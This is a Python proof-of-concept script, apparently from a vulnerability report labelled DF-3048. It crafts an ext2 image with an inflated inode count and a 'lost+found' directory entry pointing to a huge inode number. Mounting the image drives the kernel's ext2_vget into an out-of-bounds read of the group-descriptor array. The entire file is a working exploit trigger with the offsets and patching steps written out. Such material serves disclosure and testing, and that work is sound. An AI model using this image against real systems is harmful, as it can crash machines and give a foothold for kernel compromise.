DF-3048 / craft.py
#!/usr/bin/env python3 """Craft the DF-3048 trigger image: s_inodes_count inflated far beyond gcount*ipg, and the root directory's 'lost+found' entry retargeted to a huge inode number, so ext2_lookup -> ext2_vget indexes fs->e2fs_gd[(ino-1)/ipg] far out of bounds (sys/vfs/ext2fs/fs.h ino_to_fsba / ext2_vfsops.c:1358). Usage: craft.py <out.img> """ import struct, subprocess, sys, os SB_OFF = 1024 E2FS_MAGIC = 0xEF53 def rd(f, off, n): f.seek(off); return f.read(n) def u32(b, o): return struct.unpack_from('<I', b, o)[0] def u16(b, o): return struct.unpack_from('<H', b, o)[0] def p32(b, o, v): struct.pack_into('<I', b, o, v) def p16(b, o, v): struct.pack_into('<H', b, o, v) def parse_sb(f): sb = bytearray(rd(f, SB_OFF, 1024)) assert u16(sb, 0x38) == E2FS_MAGIC, "bad magic" return sb def main(out): subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024', '-I', '128', '-O', '^metadata_csum,^64bit', out, '4096'], check=True) f = open(out, 'r+b') sb = parse_sb(f) icount = u32(sb, 0x00) bcount = u32(sb, 0x04) fdb = u32(sb, 0x14) bsize = 1024 << u32(sb, 0x18) bpg = u32(sb, 0x20) ipg = u32(sb, 0x28) rev = u32(sb, 0x4C) isize = u16(sb, 0x58) if rev else 128 gcount = (bcount - fdb + bpg - 1) // bpg print(f"icount={icount} bcount={bcount} fdb={fdb} bsize={bsize} " f"bpg={bpg} ipg={ipg} isize={isize} gcount={gcount}") # 1. inflate s_inodes_count: passes mount (nothing compares it to # geometry) and passes ext2_check_direntry / ext2_ei2i later. FAKE_ICOUNT = 0x7ffffff0 p32(sb, 0x00, FAKE_ICOUNT) # 2. find group-0 inode table from group descriptor (block 2 for bsize 1K) gd0 = rd(f, 2 * bsize, 64) itable_blk = u32(gd0, 8) ipb = bsize // isize # root inode (2) location ino = 2 iblk = itable_blk + (ino - 1) // ipg ioff = ((ino - 1) % ipb) * isize inode = bytearray(rd(f, iblk * bsize + ioff, isize)) i_blocks = struct.unpack_from('<15I', inode, 40) dirblk = i_blocks[0] print(f"itable={itable_blk} root dir block={dirblk}") # 3. patch the 'lost+found' dirent (3rd entry) inode db = bytearray(rd(f, dirblk * bsize, bsize)) off = 0 target_ino = None for _ in range(10): rec_len = u16(db, off + 4) name_len = db[off + 6] name = bytes(db[off + 8:off + 8 + name_len]) if name == b'lost+found': # pick cg ~ 4M groups => read offset 64*cg ~ 256MB past the gd array want_cg = 1 * 1024 * 1024 target_ino = want_cg * ipg + 2 assert target_ino <= FAKE_ICOUNT, hex(target_ino) p32(db, off + 0, target_ino) print(f"patched entry at dir off {off} name={name} " f"ino -> 0x{target_ino:x} (cg=(ino-1)/ipg=" f"{(target_ino-1)//ipg})") off += rec_len if off >= bsize or rec_len == 0: break assert target_ino, "lost+found entry not found" f.seek(dirblk * bsize); f.write(db) f.seek(SB_OFF); f.write(sb) f.close() print(f"OK wrote {out}") if __name__ == '__main__': main(sys.argv[1]) |